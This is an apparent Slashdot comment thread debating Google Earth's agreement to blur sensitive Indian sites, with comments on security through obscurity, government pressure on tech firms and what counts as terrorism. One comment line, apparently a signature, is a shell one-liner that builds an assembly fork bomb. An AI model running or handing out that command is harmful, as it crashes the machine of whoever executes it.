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Google to Blur Sensitive India Sites
theodp writes "Citing unnamed officials, the Times of India is reporting that Google Earth has agreed to blur and distort Indian locations identified by the government after security concerns were voiced by the country's president. This includes total blurring of locations like government buildings, as well as the outlines/building plans of key facilities. This came about after a recent meeting between Google technicians and Indian officials."
Google Earth has agreed to blur and distort Indian locations
I thought the US government took care of that already, around 1838?
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I'm not saying I am afraid of it happening (I'm not that hysterically moronic, yet.) but it seems to me that the premise of "Google must blur this building because terrorists could somehow benefit from already slightly blurred photos of the outline of the building." applies equally to my house - "Google must blur this area because burglars could use the pictures to plan an escape route along the back of the garden which is hidden from normal view."
The last thing I want to have to do is put an opaque roof over my greenhouse shrine to Peter Krause.
I saw him heading towards your house with a ten pound sledge hammer, a bottle of ketchup and a food processor. He had a funny look on his face. I'm sure you'll be fine.
The world's burning. Moped Jesus spotted on I50. Details at 11.
tide of free information. The little dutch boy approach won't 'hold water' in the age of ever increasing amounts of data. Data that wants to be free, or freely sold to the highest bidder. What should be happening, and probably is, is that such photo services' data should be used by those that want to hide things, ensuring that they have done their hiding correctly.
If you want to be sure that nobody steals your identity, don't give it to anyone for any reason, or better yet, always pretend to be someone else. Same applies to sensitive infrastructure. The problem with trying to hide information is that you tell people where to look more intensely. This simply puts a big target on those areas for local spy work. It doesn't take much to find out what you want to know about most places, if they aren't hidden or protected with the same efforts as is Area 51. Even if Google blurs the pictures, China won't, nor will any other government with a space presence.
I think the whole thing is either a ruse, or just another example of people thinking they can regulate the Internet or its uses.
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I think this is the truth behind all this histery coming from governments directed at internet companies which try to make information freely available (or available in a less-restrictive way).
I somehow think that this situation is analogous to other governments trying coerce Google into providing their user's personal details or removing content that is legal under US law, despite being illegal in other countries (e.g. hate speech).
Governments are losing their power and they're not liking it. This time Google decided they could drop them a cookie or something, you know, just to show some good faith. I'd prefer if they didn't blur anything, though - would make me respect Google a little bit more (but I don't think this will make them automatically evil or anything like that).
Terrorists will just ask their computer to "enhance"
I did a Google-image-search the other day, and what do you know: some of the images from Japan were heavily pixellated in rather sensitive areas!
sig? Oh, that sig...
This isn't about security. It's about being able to say that you've done something about something.
In this case something very important about security. This is what politicians do to profile them self. It really doesn't matter what they do and what they do it to, but at the moment "security" is the cheap way to do something. Mostly because it's so damn hard to prove that the measures are ineffective. It's impossible to prove that blurring some images *didn't* foil some terrorists plans.
Being able to say that you got google to do something that you wanted them to do, is just an added bonus in the "look how important I am" hat.
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> What do you mean by "a country like India?"
Not a bunch of totalitarian scum like their neighbours I guess.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
No. "freedom fighters" become terrorists when they target civilians rather than military targets. If the Kashmiris were fighting the Indian Army, one might or might not agree with the their goal, but they would be soldiers. When they set off bombs in public places, they become criminals.
So? You're implying that terrorists would use Google Earth? How? The only thing that might be useful to them would be real-time displays of military activity. Years-old photos of sites they'e lived near for years will be of no more than decorative use.
A government can indeed engage in terrorism, which is a good point since some governments try to play semantic games and either deny that they are terrorists on the grounds that government forces cannot be terrorists or call people soldiers engaged in legitimate military action terrorists simply because they are non-governmental. Collateral damage is not, in and of itself, terrorism or a war crime. The test in international law is whether the legitimate military objective justifies the collateral damage. One is required to use the approach that minimizes collateral damage. In cases in which one side uses civilians as shields, if the military objective is sufficiently important the other side may have no choice but to kill civilians. In this case, it is the side that uses civilians as a shield that has committed a war crime.
Training another country's personnel in torture is certainly evil but is borderline as terrorism because torture isn't usually considered a sort of military activity. Insofar as the torture is publicized and so used to terrorize the population, it arguably should be considered a kind of terrorism.
It's like playing whack-a-mole against every source including blogs and online photo album sites.
And besides, it's just security through obscurity, and we all know very well how much that strategy works well.
You can keep secret a small password, you can't keep secret the outside structure of a whole building, that any plane / sattelite / hot-air balloon / small probe / home made autonomous mini-glider with a webcame stuck on it / etc... could see. Google is listening to a government that is controlling most of the (outsourced) IT infrastructure of Google's home country.
I think it's wise not to disturb the sleeping Tiger in those circumstances.
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